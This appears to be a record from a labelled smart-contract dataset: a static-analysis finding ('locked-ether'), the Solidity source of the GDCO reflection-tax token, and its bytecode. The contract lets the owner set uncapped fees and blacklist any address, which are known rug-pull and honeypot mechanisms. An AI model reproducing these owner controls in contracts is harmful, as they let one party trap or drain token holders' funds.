b0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b60408051808201909152600381527f5450430000000000000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff16156108ea57600080fd5b6104b08383610c60565b60035460009060a060020a900460ff161561090e57600080fd5b6104b08383610d59565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a0390811691161461095e57600080fd5b61096781610dfb565b50565b600160a060020a03338116600081815260026020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b6000600160a060020a03831615156109eb57600080fd5b600160a060020a038416600090815260208190526040902054821115610a1057600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610a4357600080fd5b600160a060020a038416600090815260208190526040902054610a6c908363ffffffff610e7916565b600160a060020a038086166000908152602081905260408082209390935590851681522054610aa1908363ffffffff610b5416565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610ae7908363ffffffff610e7916565b600160a060020a038086166000818152600260209081526040808320338616845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b81810182811015610b6157fe5b92915050565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610bc457600160a060020a033381166000908152600260209081526040808320938816835292905290812055610bfb565b610bd4818463ffffffff610e7916565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902054825190815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060019392505050565b6000600160a060020a0383161515610c7757600080fd5b600160a060020a033316600090815260208190526040902054821115610c9c57600080fd5b600160a060020a033316600090815260208190526040902054610cc5908363ffffffff610e7916565b600160a060020a033381166000908152602081905260408082209390935590851681522054610cfa908363ffffffff610b5416565b600160a060020a03808516600081815260208181526040918290209490945580518681529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610d91908363ffffffff610b5416565b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902085905581519485529051929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b600160a060020a0381161515610e1057600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610e8557fe5b509003905600a165627a7a723058202b963603ffbd405deaeba875a59675828da6cf2e3036d54073347d4a55d900cb0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 7,983 |
0x87efe7efe26c52508e0ea795ddd9fafd58b618fe
|
/*
.d8888b. 8888888b. .d8888b. .d88888b.
d88P Y88b 888 "Y88b d88P Y88b d88P" "Y88b
888 888 888 888 888 888 888 888
888 888 888 888 888 888
888 88888 888 888 888 888 888
888 888 888 888 888 888 888 888
Y88b d88P 888 .d88P Y88b d88P Y88b. .d88P
"Y8888P88 8888888P" "Y8888P" "Y88888P"
GDCO - The First Decentralized Hacker Bounty Ecosystem - Rewarding Holders for Carrying Out White Cap Cyber Attacks and Hacks
www.gdcoerc.com
t.me/gdcoerc
twitter.com/gdcoerc
Supply and Tokenomics:
- 10 million total supply
- 1% Reflections
- 5% Marketing Tax
- 6% Bounty Tax
- 1% Donation Tax
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract GDCO is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "GDCO";//////////////////////////
string private constant _symbol = "GDCO";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 12;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 1;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 12;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xEe32136042612632c51ba6d6184ea13A4d30D032);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0x39CBa9740e6F43e741cDFEDA26906c4E1307B04c);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000 * 10**9; //1%
uint256 public _maxWalletSize = 100000 * 10**9; //1%
uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f046146104e6578063dd62ed3e14610506578063ea1644d51461054c578063f2fde38b1461056c57600080fd5b8063a2a957bb14610461578063a9059cbb14610481578063bfd79284146104a1578063c3c8cd80146104d157600080fd5b80638f70ccf7116100d15780638f70ccf71461040b5780638f9a55c01461042b57806395d89b41146101f357806398a5c3151461044157600080fd5b806374010ece146103b75780637d1db4a5146103d75780638da5cb5b146103ed57600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461034d5780636fc3eaec1461036d57806370a0823114610382578063715018a6146103a257600080fd5b8063313ce567146102f157806349bd5a5e1461030d5780636b9990531461032d57600080fd5b80631694505e116101a05780631694505e1461025f57806318160ddd1461029757806323b872dd146102bb5780632fd689e3146102db57600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461022f57600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ab0565b61058c565b005b3480156101ff57600080fd5b5060408051808201825260048152634744434f60e01b602082015290516102269190611bda565b60405180910390f35b34801561023b57600080fd5b5061024f61024a366004611a06565b610639565b6040519015158152602001610226565b34801561026b57600080fd5b5060145461027f906001600160a01b031681565b6040516001600160a01b039091168152602001610226565b3480156102a357600080fd5b50662386f26fc100005b604051908152602001610226565b3480156102c757600080fd5b5061024f6102d63660046119c6565b610650565b3480156102e757600080fd5b506102ad60185481565b3480156102fd57600080fd5b5060405160098152602001610226565b34801561031957600080fd5b5060155461027f906001600160a01b031681565b34801561033957600080fd5b506101f1610348366004611956565b6106b9565b34801561035957600080fd5b506101f1610368366004611b77565b610704565b34801561037957600080fd5b506101f161074c565b34801561038e57600080fd5b506102ad61039d366004611956565b610797565b3480156103ae57600080fd5b506101f16107b9565b3480156103c357600080fd5b506101f16103d2366004611b91565b61082d565b3480156103e357600080fd5b506102ad60165481565b3480156103f957600080fd5b506000546001600160a01b031661027f565b34801561041757600080fd5b506101f1610426366004611b77565b61085c565b34801561043757600080fd5b506102ad60175481565b34801561044d57600080fd5b506101f161045c366004611b91565b6108a4565b34801561046d57600080fd5b506101f161047c366004611ba9565b6108d3565b34801561048d57600080fd5b5061024f61049c366004611a06565b610911565b3480156104ad57600080fd5b5061024f6104bc366004611956565b60106020526000908152604090205460ff1681565b3480156104dd57600080fd5b506101f161091e565b3480156104f257600080fd5b506101f1610501366004611a31565b610972565b34801561051257600080fd5b506102ad61052136600461198e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561055857600080fd5b506101f1610567366004611b91565b610a21565b34801561057857600080fd5b506101f1610587366004611956565b610a50565b6000546001600160a01b031633146105bf5760405162461bcd60e51b81526004016105b690611c2d565b60405180910390fd5b60005b8151811015610635576001601060008484815181106105f157634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062d81611d40565b9150506105c2565b5050565b6000610646338484610b3a565b5060015b92915050565b600061065d848484610c5e565b6106af84336106aa85604051806060016040528060288152602001611d9d602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061119a565b610b3a565b5060019392505050565b6000546001600160a01b031633146106e35760405162461bcd60e51b81526004016105b690611c2d565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461072e5760405162461bcd60e51b81526004016105b690611c2d565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061078157506013546001600160a01b0316336001600160a01b0316145b61078a57600080fd5b47610794816111d4565b50565b6001600160a01b03811660009081526002602052604081205461064a90611259565b6000546001600160a01b031633146107e35760405162461bcd60e51b81526004016105b690611c2d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108575760405162461bcd60e51b81526004016105b690611c2d565b601655565b6000546001600160a01b031633146108865760405162461bcd60e51b81526004016105b690611c2d565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108ce5760405162461bcd60e51b81526004016105b690611c2d565b601855565b6000546001600160a01b031633146108fd5760405162461bcd60e51b81526004016105b690611c2d565b600893909355600a91909155600955600b55565b6000610646338484610c5e565b6012546001600160a01b0316336001600160a01b0316148061095357506013546001600160a01b0316336001600160a01b0316145b61095c57600080fd5b600061096730610797565b9050610794816112dd565b6000546001600160a01b0316331461099c5760405162461bcd60e51b81526004016105b690611c2d565b60005b82811015610a1b5781600560008686858181106109cc57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906109e19190611956565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a1381611d40565b91505061099f565b50505050565b6000546001600160a01b03163314610a4b5760405162461bcd60e51b81526004016105b690611c2d565b601755565b6000546001600160a01b03163314610a7a5760405162461bcd60e51b81526004016105b690611c2d565b6001600160a01b038116610adf5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105b6565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b9c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105b6565b6001600160a01b038216610bfd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105b6565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cc25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105b6565b6001600160a01b038216610d245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105b6565b60008111610d865760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105b6565b6000546001600160a01b03848116911614801590610db257506000546001600160a01b03838116911614155b1561109357601554600160a01b900460ff16610e4b576000546001600160a01b03848116911614610e4b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105b6565b601654811115610e9d5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105b6565b6001600160a01b03831660009081526010602052604090205460ff16158015610edf57506001600160a01b03821660009081526010602052604090205460ff16155b610f375760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105b6565b6015546001600160a01b03838116911614610fbc5760175481610f5984610797565b610f639190611cd2565b10610fbc5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105b6565b6000610fc730610797565b601854601654919250821015908210610fe05760165491505b808015610ff75750601554600160a81b900460ff16155b801561101157506015546001600160a01b03868116911614155b80156110265750601554600160b01b900460ff165b801561104b57506001600160a01b03851660009081526005602052604090205460ff16155b801561107057506001600160a01b03841660009081526005602052604090205460ff16155b156110905761107e826112dd565b47801561108e5761108e476111d4565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110d557506001600160a01b03831660009081526005602052604090205460ff165b8061110757506015546001600160a01b0385811691161480159061110757506015546001600160a01b03848116911614155b156111145750600061118e565b6015546001600160a01b03858116911614801561113f57506014546001600160a01b03848116911614155b1561115157600854600c55600954600d555b6015546001600160a01b03848116911614801561117c57506014546001600160a01b03858116911614155b1561118e57600a54600c55600b54600d555b610a1b84848484611482565b600081848411156111be5760405162461bcd60e51b81526004016105b69190611bda565b5060006111cb8486611d29565b95945050505050565b6012546001600160a01b03166108fc6111ee8360026114b0565b6040518115909202916000818181858888f19350505050158015611216573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112318360026114b0565b6040518115909202916000818181858888f19350505050158015610635573d6000803e3d6000fd5b60006006548211156112c05760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105b6565b60006112ca6114f2565b90506112d683826114b0565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138757600080fd5b505afa15801561139b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bf9190611972565b816001815181106113e057634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546114069130911684610b3a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061143f908590600090869030904290600401611c62565b600060405180830381600087803b15801561145957600080fd5b505af115801561146d573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148f5761148f611515565b61149a848484611543565b80610a1b57610a1b600e54600c55600f54600d55565b60006112d683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061163a565b60008060006114ff611668565b909250905061150e82826114b0565b9250505090565b600c541580156115255750600d54155b1561152c57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611555876116a6565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115879087611703565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115b69086611745565b6001600160a01b0389166000908152600260205260409020556115d8816117a4565b6115e284836117ee565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162791815260200190565b60405180910390a3505050505050505050565b6000818361165b5760405162461bcd60e51b81526004016105b69190611bda565b5060006111cb8486611cea565b6006546000908190662386f26fc1000061168282826114b0565b82101561169d57505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116c38a600c54600d54611812565b92509250925060006116d36114f2565b905060008060006116e68e878787611867565b919e509c509a509598509396509194505050505091939550919395565b60006112d683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061119a565b6000806117528385611cd2565b9050838110156112d65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105b6565b60006117ae6114f2565b905060006117bc83836118b7565b306000908152600260205260409020549091506117d99082611745565b30600090815260026020526040902055505050565b6006546117fb9083611703565b60065560075461180b9082611745565b6007555050565b600080808061182c606461182689896118b7565b906114b0565b9050600061183f60646118268a896118b7565b90506000611857826118518b86611703565b90611703565b9992985090965090945050505050565b600080808061187688866118b7565b9050600061188488876118b7565b9050600061189288886118b7565b905060006118a4826118518686611703565b939b939a50919850919650505050505050565b6000826118c65750600061064a565b60006118d28385611d0a565b9050826118df8583611cea565b146112d65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105b6565b803561194181611d87565b919050565b8035801515811461194157600080fd5b600060208284031215611967578081fd5b81356112d681611d87565b600060208284031215611983578081fd5b81516112d681611d87565b600080604083850312156119a0578081fd5b82356119ab81611d87565b915060208301356119bb81611d87565b809150509250929050565b6000806000606084860312156119da578081fd5b83356119e581611d87565b925060208401356119f581611d87565b929592945050506040919091013590565b60008060408385031215611a18578182fd5b8235611a2381611d87565b946020939093013593505050565b600080600060408486031215611a45578283fd5b833567ffffffffffffffff80821115611a5c578485fd5b818601915086601f830112611a6f578485fd5b813581811115611a7d578586fd5b8760208260051b8501011115611a91578586fd5b602092830195509350611aa79186019050611946565b90509250925092565b60006020808385031215611ac2578182fd5b823567ffffffffffffffff80821115611ad9578384fd5b818501915085601f830112611aec578384fd5b813581811115611afe57611afe611d71565b8060051b604051601f19603f83011681018181108582111715611b2357611b23611d71565b604052828152858101935084860182860187018a1015611b41578788fd5b8795505b83861015611b6a57611b5681611936565b855260019590950194938601938601611b45565b5098975050505050505050565b600060208284031215611b88578081fd5b6112d682611946565b600060208284031215611ba2578081fd5b5035919050565b60008060008060808587031215611bbe578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c0657858101830151858201604001528201611bea565b81811115611c175783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cb15784516001600160a01b031683529383019391830191600101611c8c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ce557611ce5611d5b565b500190565b600082611d0557634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d2457611d24611d5b565b500290565b600082821015611d3b57611d3b611d5b565b500390565b6000600019821415611d5457611d54611d5b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461079457600080fdfe455243